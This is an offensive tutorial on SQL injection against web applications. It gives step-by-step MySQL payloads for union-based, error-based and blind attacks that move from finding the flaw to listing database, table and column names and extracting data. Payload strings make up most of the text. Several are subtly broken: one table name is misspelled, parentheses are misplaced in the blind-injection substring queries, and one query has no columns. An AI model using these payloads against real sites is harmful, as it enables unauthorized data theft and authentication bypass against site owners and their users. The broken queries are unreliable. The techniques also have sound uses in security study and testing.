Web Hacking: SQL injection

Definition

SQL injection is a technique where malicious SQL queries are inserted to attack a database system, allowing for data extraction, tampering, authentication bypass, and more.

Pre-Attack Checklist

SQL Injection Data Extraction Process

• Deduction

  • Does the system perform identification and authentication together or separately?

  • What type of attack method is likely to work?

  • How will the query likely end? If it's a search query, '%search term%' is highly likely to be used.

• Vulnerability Check

  • If a vulnerability is found, how far does it go?

  • If SQL injection is possible, is it a union-based, error-based, or blind attack?

• Select SQL Query

  • Union SQL injection

  • Error-based SQL injection

  • Blind SQL injection

• Identify Data Output Locations

• Choose SQL Injection to Use

• Obtain DB, Table, and Column Names

• Extract Data

Types of SQL Injection

Union-Based SQL Injection

• Used when results are displayed on the screen, such as on a bulletin board.

• ex) general forum, bulletin board

1. Deduce the end of the search query.

    3+4 
    # If only 7 is returned in the search, the SQL query will work. Additionally, you can determine whether the % sign was used depending on whether only 7 is returned or if 7 is included in the results.
   

2. Check if SQL injection is possible.

    %' and '1%'='1 # true
    %' and '1%'='2 # false
   

3. Determine how many columns are used in the search.

   Increase the column count from 1 to 4 and check.

    %' order by 1 and '1%'='1
   

4. Check if union works and identify the data output location.

    %' union select '1','2','3','4' and '1%'='1
   

5. Check the database name.

   MySQL

    %' union select '1',database(),'3','4' and '1%'='1
   

6. Check the table name.

   MySQL

    %' union select '1',table_name,'3','4' from information_schema.tables where table_schema = database() and '1%'='1
   

7. Check column names.

   MySQL

    %' union select '1',column_name,'3','4' from information_schema.columns where table_name='table_name' and '1%'='1
   

8. Extract data.

    %' union select '1',column_name,'3','4' from table_naem WHERE '1%' LIKE '1
   

Error-Based SQL Injection

• Used when error messages can be checked.

• Logical Error

1. Verify that the error message is a DB error.

   Typically uses updatexml or extractvalue.

   A syntax error (logical error) is displayed due to the concat command ':test'.

    1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1
   

    1' and extractvalue(1,concat(0x3a,(select 'test'))) and '1'='1
   

2. Set the base for the error message.

    1' and updatexml(null,concat(0x3a,(sql)),null) and '1'='1
   

3. Check the database name.

   MySQL

    select database()
   

    1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
   

4. Check the table name.

   MySQL

    select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1
   

    1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1)),null) and '1'='1
   

5. Check column names.

   limit [starting point],[how many]

    select column_name from information_schema.columns where table_name='table_name' limit 0,1
   

    1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='table_name' limit 0,1)),null) and '1'='1
   

6. Extract data.

    select column_name from table_name limit 0,1
   

    1' and updatexml(null,concat(0x3a,(select column_name from table_name limit 0,1)),null) and '1'='1
   

Blind SQL Injection

• Used in places where DB results are not displayed on the screen.

• Anywhere with a response that differs depending on a true or false condition can be used.

1. Check if SQL injection is possible 1.-expected success

    %' and (1=1) and '1%'='1
   

2. Check if SQL injection is possible 2.-expected fail

    %' and (1=2) and '1%'='1
   

3. Check if the SQL injection select statement works.

    %' and (select 'test'='test') and '1%'='1
   

4. Create an attack format.

    %' and (sql) and '1%'='1
   

5. Check if ascii works.

    ascii('t')>0
   

    %' and (ascii('t')>0) and '1%'='1
   

6. Check if substring works.

    ascii(substring('test',1,1))>0
   

    %' and (ascii(substring('test'),1,1)>0) and '1%'='1
   

   1. Create a second attack format.

    %' and (ascii(substring((sql),1,1))>0) and '1%'='1

1. Retrieve the DB.

    select database()

    %' and (ascii(substring(select database()),1,1)>0) and '1%'='1

1. Retrieve the table name.

    SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 # retrieves only the first table name in the DB.

    SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 # retrieves only the second table name in the DB.

    %' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)>0) and '1%'='1

1. Retrieve the column name.

    SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1

    %' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1),1,1)>0) and '1%'='1

1. Extract data.

    select from limit 0,1

    %' and (ascii(substring(sql),1,1)>0) and '1%'='1